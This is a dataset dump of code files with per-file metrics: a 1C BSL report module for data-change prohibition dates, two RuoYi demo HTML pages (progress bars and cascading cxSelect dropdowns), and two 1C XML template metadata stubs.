/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Параметры: // Настройки - см. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов.Настройки. // НастройкиОтчета - см. ВариантыОтчетов.ОписаниеОтчета. // Процедура НастроитьВариантыОтчета(Настройки, НастройкиОтчета) Экспорт МодульВариантыОтчетов = ОбщегоНазначения.ОбщийМодуль("ВариантыОтчетов"); НастройкиОтчета.ОпределитьНастройкиФормы = Истина; НастройкиОтчета.Включен = Ложь; ПервыйВариант = ПервыйВариант(); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, ПервыйВариант.Имя); НастройкиВарианта.Включен = Истина; НастройкиВарианта.Описание = ПервыйВариант.Описание; ВторойВариант = ВторойВариант(); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, ВторойВариант.Имя); НастройкиВарианта.Включен = Истина; НастройкиВарианта.Описание = ВторойВариант.Описание; КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #Область ОбработчикиСобытий Процедура ОбработкаПолученияФормы(ВидФормы, Параметры, ВыбраннаяФорма, ДополнительнаяИнформация, СтандартнаяОбработка) Если ВидФормы <> "Форма" Тогда Возврат; КонецЕсли; Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.ВариантыОтчетов") Тогда Возврат; КонецЕсли; СтандартнаяОбработка = Ложь; ВыбраннаяФорма = "ФормаОтчета"; КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции // Вызывается из форма отчета. Процедура УстановитьВариант(Форма, Вариант) Экспорт ПервыйВариант = ПервыйВариант(); ВторойВариант = ВторойВариант(); НастроитьФорму(Форма, ПервыйВариант, ВторойВариант, Вариант); КонецПроцедуры // Вызывается процедур УстановитьВариант. Процедура НастроитьФорму(Форма, ПервыйВариант, ВторойВариант, Вариант) Экспорт Элементы = Форма.Элементы; Если Вариант = 0 Тогда Форма.Параметры.СформироватьПриОткрытии = Истина; Элементы.ФормаПервыйВариант.Заголовок = ПервыйВариант.Заголовок; Элементы.ФормаВторойВариант.Заголовок = ВторойВариант.Заголовок; Иначе ПолноеИмяОтчета = "Отчет." + СтрРазделить(Форма.ИмяФормы, ".", Ложь)[1]; // Сохранение текущих пользовательских настроек. ОбщегоНазначения.ХранилищеСистемныхНастроекСохранить( ПолноеИмяОтчета + "/" + Форма.КлючТекущегоВарианта + "/ТекущиеПользовательскиеНастройки", "", Форма.Отчет.КомпоновщикНастроек.ПользовательскиеНастройки); КонецЕсли; Если Вариант = 0 Тогда Если Форма.КлючТекущегоВарианта = ПервыйВариант.Имя Тогда Вариант = 1; ИначеЕсли Форма.КлючТекущегоВарианта = ВторойВариант.Имя Тогда Вариант = 2; КонецЕсли; КонецЕсли; Если Вариант = 0 Тогда Вариант = 1; КонецЕсли; Если Вариант = 1 Тогда Элементы.ФормаПервыйВариант.Пометка = Истина; Элементы.ФормаВторойВариант.Пометка = Ложь; Форма.Заголовок = ПервыйВариант.Заголовок; КлючТекущегоВарианта = ПервыйВариант.Имя; Иначе Элементы.ФормаПервыйВариант.Пометка = Ложь; Элементы.ФормаВторойВариант.Пометка = Истина; Форма.Заголовок = ВторойВариант.Заголовок; КлючТекущегоВарианта = ВторойВариант.Имя; КонецЕсли; // Загрузка нового варианта. Форма.УстановитьТекущийВариант(КлючТекущегоВарианта); // Переформирование отчета. Форма.СкомпоноватьРезультат(РежимКомпоновкиРезультата.Авто); КонецПроцедуры Функция ПервыйВариант() Попытка Свойства = ДатыЗапретаИзмененияСлужебный.СвойстваРазделов(); Исключение Свойства = Новый Структура("ПоказыватьРазделы, ВсеРазделыБезОбъектов", Ложь, Истина); КонецПопытки; Если Свойства.ПоказыватьРазделы И НЕ Свойства.ВсеРазделыБезОбъектов Тогда ИмяВарианта = "ДатыЗапретаИзмененияПоПользователям"; ИначеЕсли Свойства.ВсеРазделыБезОбъектов Тогда ИмяВарианта = "ДатыЗапретаИзмененияПоПользователямБезОбъектов"; Иначе ИмяВарианта = "ДатыЗапретаИзмененияПоПользователямБезРазделов"; КонецЕсли; СвойстваВарианта = Новый Структура; СвойстваВарианта.Вставить("Имя", ИмяВарианта); СвойстваВарианта.Вставить("Заголовок", НСтр("ru = 'Даты запрета изменения данных по пользователям'")); СвойстваВарианта.Вставить("Описание", НСтр("ru = 'Выводит даты запрета изменения, сгруппированные по пользователям.'")); Возврат СвойстваВарианта; КонецФункции Функция ВторойВариант() Попытка Свойства = ДатыЗапретаИзмененияСлужебный.СвойстваРазделов(); Исключение Свойства = Новый Структура("ПоказыватьРазделы, ВсеРазделыБезОбъектов", Ложь, Истина); КонецПопытки; Если Свойства.ПоказыватьРазделы И НЕ Свойства.ВсеРазделыБезОбъектов Тогда ИмяВарианта = "ДатыЗапретаИзмененияПоРазделамОбъектамДляПользователей"; Заголовок = НСтр("ru = 'Даты запрета изменения данных по разделам и объектам'"); ОписаниеВарианта = НСтр("ru = 'Выводит даты запрета изменения, сгруппированные по разделам с объектами.'"); ИначеЕсли Свойства.ВсеРазделыБезОбъектов Тогда ИмяВарианта = "ДатыЗапретаИзмененияПоРазделамДляПользователей"; Заголовок = НСтр("ru = 'Даты запрета изменения данных по разделам'"); ОписаниеВарианта = НСтр("ru = 'Выводит даты запрета изменения, сгруппированные по разделам.'"); Иначе ИмяВарианта = "ДатыЗапретаИзмененияПоОбъектамДляПользователей"; Заголовок = НСтр("ru = 'Даты запрета изменения данных по объектам'"); ОписаниеВарианта = НСтр("ru = 'Выводит даты запрета изменения, сгруппированные по объектам.'"); КонецЕсли; СвойстваВарианта = Новый Структура; СвойстваВарианта.Вставить("Имя", ИмяВарианта); СвойстваВарианта.Вставить("Заголовок", Заголовок); СвойстваВарианта.Вставить("Описание", ОписаниеВарианта); Возврат СвойстваВарианта; КонецФункции #КонецОбласти #КонецЕсли
6,245
ManagerModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 484, "qsc_code_num_chars": 6245.0, "qsc_code_mean_word_length": 9.97107438, "qsc_code_frac_words_unique": 0.32438017, "qsc_code_frac_chars_top_2grams": 0.00994613, "qsc_code_frac_chars_top_3grams": 0.03315375, "qsc_code_frac_chars_top_4grams": 0.03729797, "qsc_code_frac_chars_dupe_5grams": 0.3466639, "qsc_code_frac_chars_dupe_6grams": 0.25963531, "qsc_code_frac_chars_dupe_7grams": 0.23559884, "qsc_code_frac_chars_dupe_8grams": 0.23559884, "qsc_code_frac_chars_dupe_9grams": 0.20928305, "qsc_code_frac_chars_dupe_10grams": 0.18814753, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00344453, "qsc_code_frac_chars_whitespace": 0.11673339, "qsc_code_size_file_byte": 6245.0, "qsc_code_num_lines": 195.0, "qsc_code_num_chars_line_max": 119.0, "qsc_code_num_chars_line_mean": 32.02564103, "qsc_code_frac_chars_alphabet": 0.87128354, "qsc_code_frac_chars_comments": 0.98318655, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/progress_bars.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('进度条')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>进度条 (Progress Bars)</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <!-- style: progress-bar-success/progress-bar-info/progress-bar-warning/progress-bar-danger --> <h5>基本</h5> <div class="progress"> <div style="width: 35%" aria-valuemax="100" aria-valuemin="0" aria-valuenow="35" role="progressbar" class="progress-bar progress-bar-success"> <span class="sr-only">35% Complete (success)</span> </div> </div> <div class="progress progress-bar-default"> <div style="width: 43%" aria-valuemax="100" aria-valuemin="0" aria-valuenow="43" role="progressbar" class="progress-bar"> <span class="sr-only">43% Complete (success)</span> </div> </div> <h5>条纹效果</h5> <div class="progress progress-striped"> <div style="width: 50%" aria-valuemax="100" aria-valuemin="0" aria-valuenow="50" role="progressbar" class="progress-bar progress-bar-warning"> <span class="sr-only">50% Complete (success)</span> </div> </div> <h5>动画效果</h5> <div class="progress progress-striped active"> <div style="width: 75%" aria-valuemax="100" aria-valuemin="0" aria-valuenow="75" role="progressbar" class="progress-bar progress-bar-danger"> <span class="sr-only">75% Complete (success)</span> </div> </div> <h5>堆叠效果</h5> <div class="progress progress-striped active"> <div style="width: 30%" class="progress-bar progress-bar-success"> <span class="sr-only">30% Complete (success)</span> </div> <div style="width: 20%" class="progress-bar progress-bar-warning"> <span class="sr-only">20% Complete (warning)</span> </div> <div style="width: 40%" class="progress-bar progress-bar-danger"> <span class="sr-only">40% Complete (danger)</span> </div> </div> <h5>带有提示标签的进度条</h5> <div class="progress"> <div class="progress-bar" role="progressbar" aria-valuenow="95" aria-valuemin="0" aria-valuemax="100" style="width: 95%;"> 95% </div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <script type="text/javascript"> $("[data-toggle='tooltip']").tooltip(); $("[data-toggle=popover]").popover(); </script> </body> </html>
4,515
progress_bars
html
en
html
code
{"qsc_code_num_words": 398, "qsc_code_num_chars": 4515.0, "qsc_code_mean_word_length": 4.51005025, "qsc_code_frac_words_unique": 0.2361809, "qsc_code_frac_chars_top_2grams": 0.11643454, "qsc_code_frac_chars_top_3grams": 0.07130919, "qsc_code_frac_chars_top_4grams": 0.05849582, "qsc_code_frac_chars_dupe_5grams": 0.53649025, "qsc_code_frac_chars_dupe_6grams": 0.41002786, "qsc_code_frac_chars_dupe_7grams": 0.33481894, "qsc_code_frac_chars_dupe_8grams": 0.3097493, "qsc_code_frac_chars_dupe_9grams": 0.22061281, "qsc_code_frac_chars_dupe_10grams": 0.22061281, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03203285, "qsc_code_frac_chars_whitespace": 0.4606866, "qsc_code_size_file_byte": 4515.0, "qsc_code_num_lines": 91.0, "qsc_code_num_chars_line_max": 171.0, "qsc_code_num_chars_line_mean": 49.61538462, "qsc_code_frac_chars_alphabet": 0.70513347, "qsc_code_frac_chars_comments": 0.02104097, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35714286, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.20384615, "qsc_code_frac_chars_long_word_length": 0.00995475, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.07685493, "qsc_codehtml_num_chars_text": 347.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/cxselect.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('多级联动下拉')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>多级联动下拉<small>https://github.com/ciaoca/cxSelect</small></h5> </div> <div class="ibox-content"> <p>简单联动示例。</p> <div id="element" class="row"> <div class="col-sm-2"> <select class="type form-control m-b" data-first-title="请选择"> <option value="">请选择</option> </select> </div> <div class="col-sm-2"> <select class="router form-control m-b" data-first-title="请选择"> <option value="">请选择</option> </select> </div> </div> <hr> <p>国内省市区联动。</p> <div id="element1" class="row"> <div class="col-sm-2"> <select class="province form-control m-b" data-first-title="选择省"> <option value="">请选择</option> <option value="广东省" selected>广东省</option> </select> </div> <div class="col-sm-2"> <select class="city form-control m-b" data-first-title="选择市"> <option value="">请选择</option> <option value="深圳市" selected>深圳市</option> </select> </div> <div class="col-sm-2"> <select class="area form-control m-b" data-first-title="选择地区"> <option value="">请选择</option> <option value="南山区" selected>南山区</option> </select> </div> </div> <hr> <p>自定义选项。</p> <div id="element2" class="row"> <div class="col-sm-2"> <select class="first form-control m-b"></select> </div> <div class="col-sm-2"> <select class="second form-control m-b"></select> </div> <div class="col-sm-2"> <select class="third form-control m-b"></select> </div> <div class="col-sm-2"> <select class="fourth form-control m-b"></select> </div> <div class="col-sm-2"> <select class="fifth form-control m-b"></select> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#jquery-cxselect" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#jquery-cxselect</a></div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: jquery-cxselect-js" /> <script th:inline="javascript"> // 直接返回获取 var data = [[${data}]]; $('#element').cxSelect({ selects: ['type', 'router'], jsonValue: 'v', data: data }); // 通过默认url获取 var urlChina = 'cityData'; $.cxSelect.defaults.url = urlChina; $('#element1').cxSelect({ selects: ['province', 'city', 'area'], nodata: 'none' }); // 固定值获取 $('#element2').cxSelect({ selects: ['first', 'second', 'third', 'fourth', 'fifth'], required: true, jsonValue: 'v', data: [ {'v': '1', 'n': '第一级 >', 's': [ {'v': '2', 'n': '第二级 >', 's': [ {'v': '3', 'n': '第三级 >', 's': [ {'v': '4', 'n': '第四级 >', 's': [ {'v': '5', 'n': '第五级 >', 's': [ {'v': '6', 'n': '第六级 >'} ]} ]} ]} ]} ]}, {'v': 'test number', 'n': '测试数字', 's': [ {'v': 'text', 'n': '文本类型', 's': [ {'v': '4', 'n': '4'}, {'v': '5', 'n': '5'}, {'v': '6', 'n': '6'}, {'v': '7', 'n': '7'}, {'v': '8', 'n': '8'}, {'v': '9', 'n': '9'}, {'v': '10', 'n': '10'} ]}, {'v': 'number', 'n': '数值类型', 's': [ {'v': 11, 'n': 11}, {'v': 12, 'n': 12}, {'v': 13, 'n': 13}, {'v': 14, 'n': 14}, {'v': 15, 'n': 15}, {'v': 16, 'n': 16}, {'v': 17, 'n': 17} ]} ]}, {'v': 'test boolean','n': '测试 Boolean 类型', 's': [ {'v': true ,'n': true}, {'v': false ,'n': false} ]}, {v: 'test quotes', n: '测试属性不加引号', s: [ {v: 'quotes', n: '引号'} ]}, {v: 'test other', n: '测试奇怪的值', s: [ {v: '[]', n: '数组(空)'}, {v: [1,2,3], n: '数组(数值)'}, {v: ['a','b','c'], n: '数组(文字)'}, {v: new Date(), n: '日期'}, {v: new RegExp('\\d+'), n: '正则对象'}, {v: /\d+/, n: '正则直接量'}, {v: {}, n: '对象'}, {v: document.getElementById('custom_data'), n: 'DOM'}, {v: null, n: 'Null'}, {n: '未设置 value'} ]}, {'v': '' , 'n': '无子级'} ] }); </script> </body> </html>
5,812
cxselect
html
en
html
code
{"qsc_code_num_words": 579, "qsc_code_num_chars": 5812.0, "qsc_code_mean_word_length": 3.60967185, "qsc_code_frac_words_unique": 0.28324698, "qsc_code_frac_chars_top_2grams": 0.06507177, "qsc_code_frac_chars_top_3grams": 0.05789474, "qsc_code_frac_chars_top_4grams": 0.06842105, "qsc_code_frac_chars_dupe_5grams": 0.45311005, "qsc_code_frac_chars_dupe_6grams": 0.42009569, "qsc_code_frac_chars_dupe_7grams": 0.34401914, "qsc_code_frac_chars_dupe_8grams": 0.29330144, "qsc_code_frac_chars_dupe_9grams": 0.29330144, "qsc_code_frac_chars_dupe_10grams": 0.24593301, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02150212, "qsc_code_frac_chars_whitespace": 0.43186511, "qsc_code_size_file_byte": 5812.0, "qsc_code_num_lines": 161.0, "qsc_code_num_chars_line_max": 193.0, "qsc_code_num_chars_line_mean": 36.09937888, "qsc_code_frac_chars_alphabet": 0.61144761, "qsc_code_frac_chars_comments": 0.00498968, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.38311688, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17568736, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.0407777, "qsc_codehtml_num_chars_text": 237.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Templates/ОсновнаяСхемаКомпоновкиДанных.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Template uuid="05f1f184-50cb-47c5-b3a8-62be6a9780c1"> <Properties> <Name>ОсновнаяСхемаКомпоновкиДанных</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Основная схема компоновки данных</v8:content> </v8:item> </Synonym> <Comment/> <TemplateType>DataCompositionSchema</TemplateType> </Properties> </Template> </MetaDataObject>
1,286
ОсновнаяСхемаКомпоновкиДанных
xml
ru
xml
data
{"qsc_code_num_words": 226, "qsc_code_num_chars": 1286.0, "qsc_code_mean_word_length": 3.99557522, "qsc_code_frac_words_unique": 0.34070796, "qsc_code_frac_chars_top_2grams": 0.09966777, "qsc_code_frac_chars_top_3grams": 0.13289037, "qsc_code_frac_chars_top_4grams": 0.16611296, "qsc_code_frac_chars_dupe_5grams": 0.40642303, "qsc_code_frac_chars_dupe_6grams": 0.40642303, "qsc_code_frac_chars_dupe_7grams": 0.33776301, "qsc_code_frac_chars_dupe_8grams": 0.27021041, "qsc_code_frac_chars_dupe_9grams": 0.05315615, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08692053, "qsc_code_frac_chars_whitespace": 0.06065319, "qsc_code_size_file_byte": 1286.0, "qsc_code_num_lines": 16.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 80.375, "qsc_code_frac_chars_alphabet": 0.65976821, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.52021773, "qsc_code_frac_chars_long_word_length": 0.02799378, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1c-syntax/ssl_3_1
src/cf/Reports/Задачи/Templates/ОсновнаяСхемаКомпоновкиДанных.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Template uuid="3e94649c-7d69-4fb4-ada1-ae00eabf02b6"> <Properties> <Name>ОсновнаяСхемаКомпоновкиДанных</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Основная схема компоновки данных</v8:content> </v8:item> </Synonym> <Comment/> <TemplateType>DataCompositionSchema</TemplateType> </Properties> </Template> </MetaDataObject>
1,286
ОсновнаяСхемаКомпоновкиДанных
xml
ru
xml
data
{"qsc_code_num_words": 226, "qsc_code_num_chars": 1286.0, "qsc_code_mean_word_length": 3.99557522, "qsc_code_frac_words_unique": 0.34070796, "qsc_code_frac_chars_top_2grams": 0.09966777, "qsc_code_frac_chars_top_3grams": 0.13289037, "qsc_code_frac_chars_top_4grams": 0.16611296, "qsc_code_frac_chars_dupe_5grams": 0.40642303, "qsc_code_frac_chars_dupe_6grams": 0.40642303, "qsc_code_frac_chars_dupe_7grams": 0.33776301, "qsc_code_frac_chars_dupe_8grams": 0.27021041, "qsc_code_frac_chars_dupe_9grams": 0.05315615, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08360927, "qsc_code_frac_chars_whitespace": 0.06065319, "qsc_code_size_file_byte": 1286.0, "qsc_code_num_lines": 16.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 80.375, "qsc_code_frac_chars_alphabet": 0.66307947, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.52021773, "qsc_code_frac_chars_long_word_length": 0.02799378, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
